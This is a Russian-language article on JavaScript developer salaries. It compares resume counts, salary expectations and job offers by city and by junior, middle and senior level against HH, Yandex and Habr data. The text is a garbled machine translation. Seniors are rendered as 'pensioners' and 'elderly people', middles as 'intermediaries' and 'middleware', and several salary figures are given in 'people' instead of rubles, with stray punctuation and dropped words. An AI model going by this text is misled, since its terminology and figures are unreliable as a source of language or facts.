Давайте посмотрим на распределение уровней для некоторых городов из 914 резюме, которые мы нашли в открытом доступе.

Примечание … Не все города указаны в списках ниже, чтобы не загромождать статью.

Пенсионеры:

• больше всего в Москве — 52 резюме;

• , в других городах количество резюме значительно падает: в Санкт-Петербурге — 20, в Уфе — 6, а в Красноярске — 4;

• в Казани и Воронеже по одному резюме;

• , а в Томске и Рязани их нет.

Middles:

• Опять

  , еще резюме в Москве — 180;

• в г.Петербург 134;

• , в других городах это уже в несколько раз меньше: в Казани 19, в Нижнем Новгороде 12, в Томске — 2;

• в Рязани ни одного резюме.

Юниоры:

• больше всего в столицах: в Москве 214, в Санкт-Петербурге — 121;

• в Казани и Новосибирске по 21 резюме;

• наименьшее в Рязани — 3 резюме.

Средние зарплаты, медианы и коридоры

По нашим данным, средняя зарплата разработчика JavaScript составляет 110 000 рублей в месяц.Аналогичные цифры показывает исследование HH и Яндекс (ссылки выше) — они получили цифру 114 900 рублей.

Для сравнения: Хабр. Карьерный анализ показывает, что средняя зарплата на рынке — 113 313 руб. В месяц, а медиана — 100 000 руб. В целом все цифры похожи.

По данным агентства GetIT, в Москве зарплата юниоров 80-140 тысяч (в зависимости от уровня), посредников 160-220 тысяч, пенсионеров 240-320 тысяч. В Санкт-Петербурге эти цифры примерно на 15-20 тысяч меньше.

Но средние числа не всегда верны, поэтому давайте также рассмотрим медианы и диапазоны зарплат.

Экран средних зарплат из исследования Яндекса

Сравним наши данные с исследованием Яндекса.

Предложения для юниоров следующие.

• По нашим данным, начинающим разработчикам JavaScript предлагается заработная плата от 30 000 до 85 000.

• По данным Яндекса, медианное предложение составляет 60 000 руб.

Средний.

• По нашим данным, они предлагают заработную плату от 67 000 до 110 000 человек.

• По данным Яндекса, медианное предложение составляет 150 000 рублей (мы брали данные по специалистам со стажем 4-6 лет, но поправили в комментариях, если следовало брать другой диапазон).

Для пожилых людей разрыв в данных более значительный.

• По нашим данным, пожилым людям предлагается от 108 до 160 тысяч.

• Яндекс сообщает, что среднее предложение составляет 218 000 рублей.

По данным из открытых источников, зарплатные ожидания заметно отличаются от реальности. График показывает, насколько желания превышают предложение.

График, показывающий ожидания по заработной плате и предложения на разных уровнях. Справа — какому цвету соответствует каждый параметр. Красным цветом выделены ожидания по максимальной заработной плате: наиболее ярко они выделяются среди пенсионеров.

Давайте разберемся, что на графике:

• джуны хотят от 19000 до 38000;

• средний от 78000 до 126000;

• пенсионера — 144-222000.

Самая большая разница для пожилых людей — верхняя планка достигает 62 000. Но и Джуны тоже выделяются: либо из-за высокой конкуренции, либо из-за неуверенности в себе они готовы работать за меньшие деньги, чем предлагают работодатели.

Но если наложить данные Яндекса, о которых шла речь выше, на наши, то напрашивается интересный вывод, что пожилых людей не возлагают больших надежд на , они просто хотят столько, сколько им предлагает рынок. Второй вывод — Яндекс не берет данные из открытых источников, поэтому цифры разные.

Примечание … В общем, не на всех вакансиях указана зарплата, а на рынке принято торговаться, а реальные зарплаты не всегда можно узнать из открытых источников. Ситуация похожа на рынок недвижимости — мы смотрим объявления о продаже квартир (которые могут висеть месяцами) и думаем, что это цены «рыночные». Но если эти квартиры не покупаются, то их цена чем-то не устраивает. При этом мы не знаем, о каких ценах договаривались продавцы и покупатели проданных квартир.Поэтому представление о рынке по висящим объявлениям о распродажах не совсем точное. Также с вакансиями цифры условные, как из открытых, так и из других источников. Учитывая несколько источников, мы пытаемся создать какое-то представление, близкое к реальности.

Зарплатные ожидания по городам

Заработные ожидания и реальность варьируются от города к городу. Самые амбициозные девелоперы живут в Казани: их ожидания могут достигать 330 тысяч рублей в месяц, а самая высокооплачиваемая вакансия в городе предполагает зарплату 166 тысяч.

Зарплатные ожидания в зависимости от города

• В Москве минимальные ожидания предложения начинаются с 49 000, а ожидания — от 277 000.

• В Санкт-Петербурге диапазон ожиданий — 44–259 000, предложений — 47–189 000.

• В Воронеже и Самаре минимальные предложения в открытой базе 30 000 рублей каждое. Но даже с такой зарплатой ожидания все же ниже — по 27 тысяч и 24 тысячи.

• Интересно, что в Воронеже максимальное ожидание превышает московское — 286 тысяч.

• В Самаре максимальные ожидания и предложения практически одинаковые — по 168 тысяч и 161 тысяч.

• Меньше всего хотят в Екатеринбурге и Рязани — по 19 и 20 тысяч. Хотя разработчикам могут платить вдвое больше — 44 000 и 40 000 соответственно.

Предложения разработчика: максимальное, минимальное и среднее по рынку.

Например, предлагаемая средняя зарплата самая высокая в Москве составляет 138 000 руб.Ближе к этому значению находятся Санкт-Петербург и Казань — 122 тысячи и 116 тысяч. Самый низкий средний показатель в Нижнем Новгороде — 67 700 человек. Близки к этому Рязань и Воронеж — по 79 тысяч и 93 тысячи.

выводы

• Компаниям явно не хватает разработчиков JavaScript, особенно промежуточного программного обеспечения.

• Заработная плата этих специалистов не отличается от средней ситуации на ИТ-рынке.

• Не всегда нужно ехать в столицу ради высокой зарплаты: Казань наглядно это иллюстрирует.

• Статистика из одного источника неточна, поэтому мы используем несколько.

JavaScript-разработчики, вам слово. Как данные соответствуют вашей реальности? Ждем вашего мнения в комментариях.

Вы также можете ознакомиться с нашими материалами по статистике зарплат в ИТ, например, « Цифры в ИТ на зиму 2019-2020 гг. » , и найти работу на headz.io. Подпишитесь на Telegram канал , чтобы быть в курсе новых статей и вакансий.